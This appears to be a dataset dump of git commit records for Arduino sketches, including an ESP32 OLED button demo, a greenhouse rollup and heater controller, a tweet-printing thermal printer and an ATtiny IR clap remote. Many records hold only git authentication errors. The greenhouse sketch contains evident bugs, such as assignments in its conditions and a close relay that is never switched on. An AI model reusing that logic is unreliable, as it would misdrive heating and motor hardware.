implemented\n","repos":"Omemanti\/MantiOT","old_file":"Sketches\/Manti_Irrigation_Controller\/Manti_Irrigation_Controller.ino","new_file":"Sketches\/Manti_Irrigation_Controller\/Manti_Irrigation_Controller.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Omemanti\/MantiOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"49ff1de747534ea47daf9dcb571baa010c8e7779","subject":"support for RevE board","message":"support for RevE board\n\nFlipping the display and changing of pinouts for switch\n","repos":"TaylorHokanson\/CAAint","old_file":"Code\/ESP32_oled_nav_neo_touch_RevE\/ESP32_oled_nav_neo_touch_RevE.ino","new_file":"Code\/ESP32_oled_nav_neo_touch_RevE\/ESP32_oled_nav_neo_touch_RevE.ino","new_contents":"\/* \n * OLED, nav button, neopixels\n * \n * For ESP32-WROOM board (OLED, battery, full pin breakout) and custom PCB\n * Don't forget to turn the device on, or it won't show up in the port list\n * If UART disappears from port list, change board to UNO and attach an UNO\n * \n * Board: Wemos Wifi&Bluetooth Battery \n * Flash: 80Mhz\n * Upload: 921600\n * Port: cu.SLAB_USBtoUART\n * Prog: AVRISPmkII\n * \n * ESP pins to watch out for:\n * 4,5 OLED\n * 0,2,5,12,15 Strapping pins (boot-related)\n * 34,35 Input-only\n * \n *\/\n\n\/\/this is inside the required library U8g2\n#include <U8x8lib.h> \n#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n\/\/ OLED\nU8X8_SSD1306_128X64_NONAME_SW_I2C u8x8(\/* clock=*\/ 4, \/* data=*\/ 5, \/* reset=*\/U8X8_PIN_NONE );\n\n\/\/ Neopixels\n#define PIN 17\n#define NUMPIXELS 10\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800);\n\/\/int delayval = 500; \n\nconst int led = 16;\n\/\/int navBtn = 0;\n\n\/\/ Nav button\nconst int buttonPin1 = 18; \/\/ right \nconst int buttonPin2 = 16; \/\/ select \nconst int buttonPin3 = 23; \/\/ up\nconst int buttonPin4 = 19; \/\/ down \nconst int buttonPin5 = 14; \/\/ left\n\n\/\/ https:\/\/github.com\/Serpent999\/ESP32_Touch_LED\/blob\/master\/Touch_LED\/Touch_LED.ino\nint buff(int pin){\n int out = (25 - touchRead(pin)); \/\/ adjust touch sensitivity here\n if (out > 0 ){\n return (out + 2);\n }else{\n return 0; \n }\n}\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(led, OUTPUT);\n u8x8.begin();\n u8x8.setFont(u8x8_font_pxplusibmcga_r);\n \/\/u8x8.setFlipMode(1); \/\/remove if screen is flipped\n\n pinMode(buttonPin1, INPUT);\n pinMode(buttonPin2, INPUT);\n pinMode(buttonPin3, INPUT);\n pinMode(buttonPin4, INPUT);\n pinMode(buttonPin5, INPUT);\n\n strip.begin(); \/\/ This initializes the NeoPixel library\n strip.show(); \/\/ Begin with all LEDs turned off \n strip.setBrightness(5); \/\/ These goddamn things are bright\n \n\n}\n\nvoid loop(){\n \n pollMenu();\n \n\/*\n digitalWrite(led,LOW); \/\/onboard LED is on when pulled LOW\n delay(100);\n digitalWrite(led,HIGH);\n*\/\n\n \/\/delay(3000);\n \n}\n\nvoid pollMenu(){\n \n \/\/ LOW is button pressed\n u8x8.setFont(u8x8_font_victoriamedium8_u); \n \n \/\/ Center button\n if(digitalRead(buttonPin2) == 0){\n u8x8.drawString(0,0,\"X BUTTON\");\n chase(strip.Color(0, 255, 0));\n }else{\n u8x8.drawString(0,0,\" BUTTON\");\n } \n \n \/\/ Upper right\n if(digitalRead(buttonPin1) == 0){\n u8x8.drawString(0,1,\"X RIGHT\");\n chase(strip.Color(255, 0, 0));\n }else{\n u8x8.drawString(0,1,\" RIGHT\");\n } \n \n \/\/ Upper left\n if(digitalRead(buttonPin3) == 0){\n u8x8.drawString(0,2,\"X UP\");\n chase(strip.Color(0, 0, 255));\n }else{\n u8x8.drawString(0,2,\" UP\");\n } \n \n \/\/ Lower right\n if(digitalRead(buttonPin4) == 0){\n u8x8.drawString(0,3,\"X DOWN\");\n chase(strip.Color(255, 0, 255));\n }else{\n u8x8.drawString(0,3,\" DOWN\");\n } \n \n \/\/ Lower left\n if(digitalRead(buttonPin5) == 0){\n u8x8.drawString(0,4,\"X LEFT\");\n chase(strip.Color(255, 255, 255));\n }else{\n u8x8.drawString(0,4,\" LEFT\");\n }\n \/\/String touchData = String(buff(T9));\n \/\/Serial.println(touchData);\n u8x8.setCursor(0, 5);\n u8x8.print(\" TOUCH \" + String(buff(T9))); \n}\n\nstatic void chase(uint32_t c) {\n for(uint16_t i=0; i<strip.numPixels()+4; i++) {\n strip.setPixelColor(i , c); \/\/ Draw new pixel\n strip.setPixelColor(i-4, 0); \/\/ Erase pixel a few steps back\n strip.show();\n delay(25);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Code\/ESP32_oled_nav_neo_touch_RevE\/ESP32_oled_nav_neo_touch_RevE.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"821f08866455fad75c4bc1783b4580165425887d","subject":"detect water function","message":"detect water function\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5162dc3b01c0ecfde3edc2d2c2f6a42f17b9fef4","subject":"Changed backlight setting","message":"Changed backlight setting\n","repos":"TFTLibraries\/TFT,TFTLibraries\/TFT","old_file":"examples\/PICadillo-35T\/PICadilloTest\/PICadilloTest.ino","new_file":"examples\/PICadillo-35T\/PICadilloTest\/PICadilloTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TFTLibraries\/TFT.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"1931140911f7485a9cc2cc5420bd8f6a704a89f7","subject":"Focussing on Rollups logic","message":"Focussing on Rollups logic\n\ninclude an interrupt to confirm the opening of the greenhouse.","repos":"LoupHC\/Greenhouse-controller,LoupHC\/Greenhouse-controller","old_file":"Rollup_logic\/Rollup_logic.ino","new_file":"Rollup_logic\/Rollup_logic.ino","new_contents":"#include <OneWire.h>\n#include <DallasTemperature.h>\n\n#define Open 1\n#define Close 0\n\n#define ONE_WIRE_BUS 2\n#define ROLLUP1_OPEN 12\/\/relais on\/off - moteur1\n#define ROLLUP1_CLOSE 11 \/\/relais gauche\/droite - moteur1\n#define FAN 8 \/\/relais ventilation forc\u00e9e\n#define CHAUFFAGE1 7 \/\/relais fournaise1\n#define CHAUFFAGE2 6 \/\/ relais fournaise2\n\nOneWire oneWire(ONE_WIRE_BUS);\n\/\/ Pass our oneWire reference to Dallas Temperature.\nDallasTemperature sensors(&oneWire);\n\nconst int ON = HIGH;\nconst int OFF = LOW;\n\nbyte opened = 100;\nbyte openTarget = 0;\n\nboolean heating1 = false; \/\/fournaise 1 \u00e9teinte par d\u00e9faut\nboolean heating2 = false; \/\/fournaise 2 \u00e9teinte par d\u00e9faut\nboolean fan = false; \/\/VENTilation forc\u00e9e \u00e9teinte par d\u00e9faut\nfloat greenhouseTemperature = 20.0; \/\/temp\u00e9rature par d\u00e9faut : 20C (ajust\u00e9 apr\u00e8s un cycle)\n\nint TEMP_CIBLE = 20; \/\/temp\u00e9rature cible par d\u00e9faut : 20C (ajust\u00e9e apr\u00e8s un cycle))\n\/\/temp cible pour \u00e9quipement chauffage\/refroidissement\nint TEMP_ROLLUP1 = TEMP_CIBLE+1;\nint TEMP_ROLLUP2 = TEMP_CIBLE+2;\nint TEMP_ROLLUP3 = TEMP_CIBLE+3;\nint TEMP_ROLLUP4 = TEMP_CIBLE+4;\nint TEMP_VENTILATION = TEMP_CIBLE+5;\nint TEMP_FOURNAISE1 = TEMP_CIBLE-2;\nint TEMP_FOURNAISE2 = TEMP_CIBLE-4;\n\nbyte HYST_ROLLUP = 2; \/\/hysteresis rollup\nbyte HYST_VENT = 2; \/\/hysteresis ventilation\nbyte HYST_FOURNAISE1 = 2; \/\/hysteresis fournaise 1\nbyte HYST_FOURNAISE2 = 2; \/\/hysteresis fournaise 2\n\nlong OPENING_TIME; \/\/temps de rotation des moteurs pour ouvrir d'un quart de tour(en mili-secondes)\nlong CLOSING_TIME; \/\/temps de rotation des moteurs pour fermer d'un quart de tour(en mili-secondes)\nlong PAUSE_TIME; \/\/temps d'arr\u00eat entre chaque ouverture\/fermeture(en mili-secondes)\n\/\/incr\u00e9ments d'ouverture(nombre d'incr\u00e9ments d'ouverture = PCT_OPEN\/NB_OF_STEPS_IN_ANIMATION = 25\/5 = 5 incr\u00e9ments d'ouverture)\nconst int PCT_OPEN = 25;\nconst int NB_OF_STEPS_IN_ANIMATION = 5; \/\/doit \u00eatre un divisible de PCT_OPEN\n\/\/Autres variables\nconst int SLEEPTIME = 900; \/\/temps de pause entre chaque ex\u00e9cution du programme(en mili-secondes)\n\n\nvolatile byte rollupState = LOW;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n sensors.begin();\n\n pinMode(ROLLUP1_OPEN, OUTPUT);\n digitalWrite(ROLLUP1_OPEN, LOW);\n pinMode(ROLLUP1_CLOSE, OUTPUT);\n digitalWrite(ROLLUP1_CLOSE, LOW);\n pinMode(CHAUFFAGE1, OUTPUT);\n digitalWrite(CHAUFFAGE1, LOW);\n pinMode(CHAUFFAGE2, OUTPUT);\n digitalWrite(CHAUFFAGE2, LOW);\n pinMode(FAN, OUTPUT);\n digitalWrite(FAN, LOW);\n attachInterrupt(digitalPinToInterrupt(2), confirmOpening, CHANGE);\n\n \/\/Remise \u00e0 niveau des rollup\n Reset(); \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \/\/--------------DS18B20--------------------\n sensors.requestTemperatures();\n greenhouseTemperature = sensors.getTempCByIndex(0);\n \/\/--------------Relais--------------------\n \n \/\/Programme d'ouverture\/fermeture des rollups \u00e0 4 paliers\n if ((opened = 0)&&(greenhouseTemperature > TEMP_ROLLUP1)){\n openTarget = 25;\n openSides();\n }\n else if ((opened = 1)&&(greenhouseTemperature > TEMP_ROLLUP2)){\n openTarget = 50;\n openSides();\n }\n else if ((opened = 2)&&(greenhouseTemperature > TEMP_ROLLUP3)){\n openTarget = 75;\n openSides();\n }\n else if ((opened = 3)&&(greenhouseTemperature > TEMP_ROLLUP4)){\n openTarget = 100;\n openSides();\n }\n else if ((opened = 4)&&(greenhouseTemperature < (TEMP_ROLLUP4 - HYST_ROLLUP))) {\n openTarget = 75;\n closeSides();\n }\n else if ((opened = 3)&&(greenhouseTemperature < (TEMP_ROLLUP3 - HYST_ROLLUP))) {\n openTarget = 50;\n closeSides();\n }\n else if ((opened = 2)&&(greenhouseTemperature < (TEMP_ROLLUP2 - HYST_ROLLUP))) {\n openTarget = 25;\n closeSides();\n }\n else if ((opened = 1)&&(greenhouseTemperature < (TEMP_ROLLUP1 - HYST_ROLLUP))) {\n openTarget = 0;\n closeSides();\n }\n\n \/\/Programme fournaise1\n if (greenhouseTemperature < TEMP_FOURNAISE1) {\n setHeater1(ON);\n }\n else if (greenhouseTemperature > (TEMP_FOURNAISE1 + HYST_FOURNAISE1)) {\n setHeater1(OFF);\n }\n \/\/Programme fournaise2\n if (greenhouseTemperature < TEMP_FOURNAISE2) {\n setHeater2(ON);\n }\n else if (greenhouseTemperature > (TEMP_FOURNAISE2 + HYST_FOURNAISE2)) {\n setHeater2(OFF);\n }\n \/\/Programme ventilation forc\u00e9e\n if ((greenhouseTemperature > TEMP_VENTILATION)&&(rollupState == HIGH)) {\n setFan(ON);\n } else if ((greenhouseTemperature < (TEMP_VENTILATION - HYST_VENT))||(rollupState == LOW)) {\n setFan(OFF);\n }\n}\n\n\n\nvoid Reset(){\n Serial.println(F(\"Resetting position\"));\n for (int i = 0; i < 5; i++) {\n closeSides();\n }\n Serial.println(F(\"Resetting done\"));\n}\n\n\/\/Affichage du % d'ouverture des rollup\nvoid setOpenedStatus(int pctIncrease) {\n opened += pctIncrease;\n if (opened < 0) {\n opened = 0;\n } else if (opened > 100) {\n opened = 100;\n }\n Serial.print(F(\" \"));\n Serial.println(opened);\n}\n\n\/\/Ex\u00e9cution de la s\u00e9quence d'ouverture\/fermeture\nvoid animate(int movement, int action) {\n for (int i = 0; i < NB_OF_STEPS_IN_ANIMATION; i++) {\n if (action == Open){\n delay(OPENING_TIME \/ NB_OF_STEPS_IN_ANIMATION);}\n else if (action == Close){\n delay(CLOSING_TIME \/ NB_OF_STEPS_IN_ANIMATION);} \n setOpenedStatus(movement * PCT_OPEN \/ NB_OF_STEPS_IN_ANIMATION);\n }\n}\n\n\/\/Programme d'ouverture des rollup\nvoid openSides() {\n if (opened < 100) {\n Serial.println(F(\"\"));\n Serial.println(F(\" Opening\"));\n digitalWrite(ROLLUP1_OPEN, ON);\n \/\/digitalWrite(ROLLUP2_OPEN, ON);\n animate(1, Open);\n digitalWrite(ROLLUP1_OPEN, OFF);\n \/\/digitalWrite(ROLLUP2_OPEN, OFF);\n Serial.println(F(\" Done opening\"));\n delay(PAUSE_TIME);\n }\n}\n\n\/\/Programme de fermeture des rollups\nvoid closeSides() {\n if (opened > 0) {\n Serial.println(F(\"\"));\n Serial.println(F(\" Closing\"));\n \/\/digitalWrite(ROLLUP2_CLOSE, ON);\n animate(-1, Close);\n digitalWrite(ROLLUP1_CLOSE, OFF);\n \/\/digitalWrite(ROLLUP2_CLOSE, OFF);\n Serial.println(F(\" Done closing\"));\n delay(PAUSE_TIME);\n }\n}\n\n\n\/\/\u00c9tat de la premi\u00e8re fournaise\nvoid setHeater1(int heaterCommand1) {\n if ((heaterCommand1 == ON) && (heating1 == false)) {\n Serial.println(F(\"\"));\n Serial.println(F(\" Start heating1\"));\n heating1 = true;\n digitalWrite(CHAUFFAGE1, ON);\n } else if ((heaterCommand1 == OFF) && (heating1 == true)) {\n Serial.println(F(\"\"));\n Serial.println(F(\" Stop heating1\"));\n heating1 = false;\n digitalWrite(CHAUFFAGE1, OFF);\n }\n}\n\n\/\/\u00c9tat de la deuxi\u00e8me fournaise\nvoid setHeater2(int heaterCommand2) {\n if ((heaterCommand2 == ON) && (heating2 == false)) {\n Serial.println(F(\"\"));\n Serial.println(F(\" Start heating2\"));\n heating2 = true;\n digitalWrite(CHAUFFAGE2, ON);\n } else if ((heaterCommand2 == OFF) && (heating2 == true)) {\n Serial.println(F(\"\"));\n Serial.println(F(\" Stop heating2\"));\n heating2 = false;\n digitalWrite(CHAUFFAGE2, OFF);\n }\n}\n\n\/\/\u00c9tat de la ventilation\nvoid setFan(int fanCommand) {\n if ((fanCommand == ON) && (fan == false)) {\n Serial.println(F(\"\"));\n Serial.println(F(\" Start fan\"));\n fan = true;\n digitalWrite(FAN, ON);\n } else if ((fanCommand == OFF) && (fan == true)) {\n Serial.println(F(\"\"));\n Serial.println(F(\" Stop fan\"));\n fan = false;\n digitalWrite(FAN, OFF);\n }\n}\n\nvoid confirmOpening() {\n rollupState =! rollupState;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Rollup_logic\/Rollup_logic.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"ebcd8ba33eb6d65988bef6bc9cd37acc9096cdbb","subject":"Add RC car firmware","message":"Add RC car firmware\n\n","repos":"embeddedemily\/ember-agaricglow,embeddedemily\/ember-agaricglow,embeddedemily\/ember-agaricglow","old_file":"car\/car.ino","new_file":"car\/car.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/embeddedemily\/ember-agaricglow.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f879134ca5255c827a2d17e3b9fc4a901ce01e1d","subject":"relocated arduino code for impact & pulloff testing: MC wants separate tools for each test instead of a single program","message":"relocated arduino code for impact & pulloff testing: MC wants separate tools for each test instead of a single program\n","repos":"reynal74\/sensor_projects","old_file":"hip_head_impact_and_displacement\/read_sensor_data\/impact_and_pulloff\/impact_and_pulloff.ino","new_file":"hip_head_impact_and_displacement\/read_sensor_data\/impact_and_pulloff\/impact_and_pulloff.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/reynal74\/sensor_projects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0d9d6a33de411b05fd1d450b4a1e9b46502a88af","subject":"update","message":"update\n","repos":"andres-root\/lovepenelope","old_file":"arduino\/penelope\/penelope.ino","new_file":"arduino\/penelope\/penelope.ino","new_contents":"\/*\nPen\u00e9lope\nAdriana Marmorek\n\nBy: Andr\u00e9s Luj\u00e1n y Karo Ladino\n*\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n#include <SoftwareSerial.h>\n#include <ArduinoJson.h>\n\nSoftwareSerial Thermal(5, 6);\n\/\/ Enter a MAC address for your controller below.\n\/\/ Newer Ethernet shields have a MAC address printed on a sticker on the shield\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\n\/\/ if you don't want to use DNS (and reduce your sketch size)\n\/\/ use the numeric IP instead of the name for the server:\n\/\/IPAddress server(74,125,232,128); \/\/ numeric IP for Google (no DNS)\nchar server[] = \"lovefrompenelope.herokuapp.com\"; \/\/ name address for Google (using DNS)\n\nint heatTime = 80;\nint heatInterval = 255;\nchar printDensity = 15;\nchar printBreakTime = 15;\n\/\/int 3,5,8 \nint zero=0;\nboolean connected = false;\n\n\/\/ Set the static IP address to use if the DHCP fails to assign\nIPAddress ip(192, 168, 0, 177);\n\n\/\/ Initialize the Ethernet client library\n\/\/ with the IP address and port of the server\n\/\/ that you want to connect to (port 80 is default for HTTP):\nEthernetClient client;\n\nvoid setup() {\n pinMode(3, OUTPUT); \/\/Twitter\n pinMode(9, OUTPUT); \/\/ Printing\n pinMode(8, OUTPUT); \/\/Shredder\n \n \/\/ Open serial communications and wait for port to open:\n Serial.begin(57600);\n Thermal.begin(19200); \/\/ to write to our new printer\n initInternet();\n initPrinter();\n\n}\n\nvoid initInternet() {\n \/\/ start the Ethernet connection:\n if (Ethernet.begin(mac) == 0) {\n Serial.println(\"Failed to configure Ethernet using DHCP\");\n \/\/ try to congifure using IP address instead of DHCP:\n Ethernet.begin(mac, ip);\n }\n \/\/ give the Ethernet shield a second to initialize:\n delay(1000);\n Serial.println(\"connecting...\");\n\n \/\/ if you get a connection, report back via serial:\n if (client.connect(server, 80)) {\n Serial.println(\"connected\");\n connected = true;\n } else {\n \/\/ if you didn't get a connection to the server:\n Serial.println(\"connection failed\");\n Thermal.println(\"I can't find you love\");\n connected = false;\n Thermal.write(10);\n Thermal.write(10);\n Thermal.write(10);\n } \n}\n\nvoid initPrinter()\n{\n \/\/Modify the print speed and heat\n Thermal.write(27);\n Thermal.write(55);\n Thermal.write(7); \/\/Default 64 dots = 8*('7'+1)\n Thermal.write(heatTime); \/\/Default 80 or 800us\n Thermal.write(heatInterval); \/\/Default 2 or 20us\n \/\/Modify the print density and timeout\n Thermal.write(18);\n Thermal.write(35);\n int printSetting = (printDensity<<4) | printBreakTime;\n Thermal.write(printSetting); \/\/Combination of printDensity and printBreakTime\n Serial.println(\"Printer ready\");\n Thermal.println(\"Where are you, love?\");\n Thermal.println(\"Adriana Marmorek\");\n Thermal.write(10);\n Thermal.write(10);\n}\n\nvoid loop() {\n \/\/ if there are incoming bytes available\n \/\/ from the server, read them and print them:\n \/\/ Make a HTTP request:\n\n if (connected) {\n digitalWrite(3, HIGH);\n delay(1000);\n digitalWrite(3, LOW); \n delay(1000);\n digitalWrite(3, HIGH);\n delay(1000);\n digitalWrite(3, LOW); \n\n client.println(\"GET \/ HTTP\/1.1\");\n client.println(\"Content-Type: application\/json;charset=utf-8\");\n client.println(\"Host: lovefrompenelope.herokuapp.com\");\n client.println(\"Connection: keep-alive\");\n client.println();\n String tweet = \"\"; \/\/\/-\n boolean read = false; \/\/\/- \n while (client.available()) {\n char c = client.read();\n if (c == '{') {\n read = true;\n } \n\/\/ else if (c == '}') {\n\/\/ read = false;\n\/\/ }\n if (read == true) {\n tweet += c;\n }\n }\n\/\/ tweet += \"}\";\n Serial.println(tweet);\n Serial.println(tweet.length());\n \/\/char json[300];\n \/\/tweet.toCharArray(json, 300);\n StaticJsonBuffer<400> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(tweet);\n const char* name = root[\"name\"];\n const char* user = root[\"user\"];\n const char* text = root[\"text\"];\n const char* date = root[\"date\"];\n \n String header = \"\";\n Serial.println(name);\n Serial.println(user);\n Serial.println(text);\n Serial.println(date);\n \n \n \/\/ Name and date\n Thermal.println(name);\n Thermal.write(27);\n Thermal.write(45);\n Thermal.write(1);\n Thermal.println(date);\n \n \/\/ User and text\n Thermal.write(27); \n Thermal.write(45);\n Thermal.write(zero);\n Thermal.println(user); \/\/31 caracteres, \n Thermal.println(text); \/\/31 caracteres, \n Thermal.write(10);\n Thermal.write(10);\n Thermal.write(10);\n digitalWrite(9, HIGH); \n delay(1000);\n digitalWrite(9, LOW); \n\n\/\/Shredder\n delay(5000);\n digitalWrite(8, HIGH); \n delay(2000);\n digitalWrite(8, LOW); \n\/\/Waiting \n delay(45000);\n \n if (!client.connected()) {\n Serial.println();\n Serial.println(\"disconnecting.\");\n client.stop();\n initInternet();\n } \n } else {\n initInternet();\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/penelope\/penelope.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"30a8de601a037826d40bbcb897aa41cf4c80248b","subject":"+ clap detection","message":"+ clap detection\n","repos":"anorneto\/attiny-ir-fan-remote","old_file":"attiny_ir_fan_remote_CLAP.ino","new_file":"attiny_ir_fan_remote_CLAP.ino","new_contents":"\/\/Anor Batista Esteves Neto \n\/\/ 08\/01\/2015 \n\/\/ Attiny send IR Remote Key with button or clap\n\/\/ clap detection based on example from Manoj Kunthu (http:\/\/imanoj-tech.blogspot.com.br\/2013\/02\/arduino-clapper.html)\n\n#include <attiny85_IR.h>\n\n\/\/ defining pins\n#define buttonPin 4 \/\/ attiny physical pin 3, button with pull down resistor\n#define ledPin 0 \/\/ attiny physical pin 5 , normal led for visual feedback of when we are sending an ir command\n#define micPin 3 \/\/ Analog Pin 3 = attiny physical pin 2\n\n\/\/defining constants\n#define TRIGGER 60 \/\/point above average that is considered a clap\n#define CLAPS_TO_ACTIVATE 2 \/\/The number of claps detected before output is toggled\n#define CLAP_TIME 4000 \/\/ Time between claps\n\n\n\nIRsend irsend; \/\/ IR led on physical pin 6 (D1) , the IR output will be always on attiny physical pin 6\n\n\/\/ Variables that will change:\nint buttonState = HIGH; \/\/ the current reading from the input pin\nint lastButtonState = HIGH; \/\/ the previous reading from the input pin\n\/\/ the following variables are long's because the time, measured in miliseconds,\n\/\/ will quickly overflow an int\nlong lastDebounceTime = 0; \/\/ the last time the output pin was toggled\nlong debounceDelay = 50; \/\/ the debounce time; increase if the output flickers\n\n\/\/variable to store the value read from the mic\nint micValue = 0;\n\n\/\/CLAP STATE CONSTANTS\nconst int FINAL_DETECTED = 0, LOST_CONTINUITY = 1, CLAP_NOT_DETECTED = 2;\n\nint SIZE = 3;\nint buffer[3];\nint loopIteration = 0;\nint average = 0;\nint total = 0;\n\n\nvoid setup() {\n pinMode(buttonPin, INPUT);\n digitalWrite(buttonPin,HIGH); \/\/activating internal pull-up on button pin\n pinMode(ledPin,OUTPUT);\n digitalWrite(ledPin,LOW);\n}\n\nvoid loop() {\n check_button();\n check_claps();\n }\n\n\/\/Check the button, if pressed send ir command.\nvoid check_button( void ){\n \/\/ read the state of the switch into a local variable:\n int reading = digitalRead(buttonPin);\n \n \/\/ check to see if you just pressed the button \n \/\/ (i.e. the input went from LOW to HIGH), and you've waited \n \/\/ long enough since the last press to ignore any noise: \n\n \/\/ If the switch changed, due to noise or pressing:\n if (reading != lastButtonState) {\n \/\/ reset the debouncing timer\n lastDebounceTime = millis();\n } \n\n if ((millis() - lastDebounceTime) > debounceDelay) {\n \/\/ whatever the reading is at, it's been there for longer\n \/\/ than the debounce delay, so take it as the actual current state:\n \/\/ if the button state has changed:\n if (reading != buttonState) buttonState = reading;\n if (buttonState == LOW) send_ir();\n }\n \/\/ save the reading. Next time through the loop,\n \/\/ it'll be the lastButtonState:\n lastButtonState = reading;\n}\n\n\/\/ Send ir command to toggle the fan light\nvoid send_ir(){\n irsend.sendNEC(150468615, 32); \/\/ ir code for my fan light\n digitalWrite(ledPin,HIGH); \/\/ just a visual feedback\n delay(200);\n digitalWrite(ledPin,LOW);\n}\n\n\/\/read the mic value and store it in a global variable\nvoid read_mic(void){\n micValue = analogRead(micPin); \n}\n\n\/**\n* Purpose: A clap is detected when the sensor value is greater than the average plus \n* an offset. The offset might need to be fine tuned for different sound sensors.\n*\/\nboolean clap_detected()\n{\n return micValue > average + TRIGGER;\n}\n\nvoid check_claps(){\n int clapState = detect_claps(CLAPS_TO_ACTIVATE);\n \n if(clapState == FINAL_DETECTED)\n {\n \/\/ indicate_clap(1);\/\/turn off any clap indicating lights\n send_ir();\n }\n else if(clapState == LOST_CONTINUITY)\n {\n \/\/ indicate_clap(0);\/\/turn off any clap indicating lights\n }\n}\n\nint detect_claps(int numClaps)\n{\n int clapNum = numClaps;\n \n \/\/Base Case - if clapNum is 0, then all claps have been accounted.\n if(clapNum == 0)\n {\n return FINAL_DETECTED;\n }\n \n \/\/Read from mic and update ambient noise levels.\n read_mic();\n\n total = (total - buffer[loopIteration]) + micValue; \n average = (total\/SIZE);\n buffer[loopIteration] = micValue;\n \n loopIteration = (loopIteration+1)%SIZE;\n \n if(clap_detected())\n { \n delay(50);\n for(int i = 0; i < CLAP_TIME; i++)\n {\n int clapState = detect_claps(clapNum - 1); \n \n if(clapState == FINAL_DETECTED || clapState == LOST_CONTINUITY)\n {\n return clapState;\n }\n }\n return LOST_CONTINUITY;\n }\n return CLAP_NOT_DETECTED;\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'attiny_ir_fan_remote_CLAP.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dd930cad8ed7fc2b2dcf0387071cc7ef6adec468","subject":"Removed old include from removed driver","message":"Removed old include from removed driver\n","repos":"nuskunetworks\/arduino_simple_file_system,nuskunetworks\/arduino_simple_file_system,nuskunetworks\/arduino_simple_file_system","old_file":"SimpleFileSystem\/SimpleFileSystem.ino","new_file":"SimpleFileSystem\/SimpleFileSystem.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nuskunetworks\/arduino_simple_file_system.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b153c4df760e581eaa9ac37db47fe11728559d94","subject":"Reduce font size","message":"Reduce font size\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"LDR-Reader-128x64\/LDR-Reader-128x64.ino","new_file":"LDR-Reader-128x64\/LDR-Reader-128x64.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"52376f4b4fc9b31e8f477f0e17fe367a5b5f4d5b","subject":"Fixes for lights","message":"Fixes for lights\n","repos":"WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015","old_file":"display\/live_market_led_display_serial_csv\/led_market_display_serial_csv\/led_market_display_serial_csv.ino","new_file":"display\/live_market_led_display_serial_csv\/led_market_display_serial_csv\/led_market_display_serial_csv.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/WestwoodRobotics\/BEST-2015.git\/'\n","license":"mit","lang":"Arduino"} 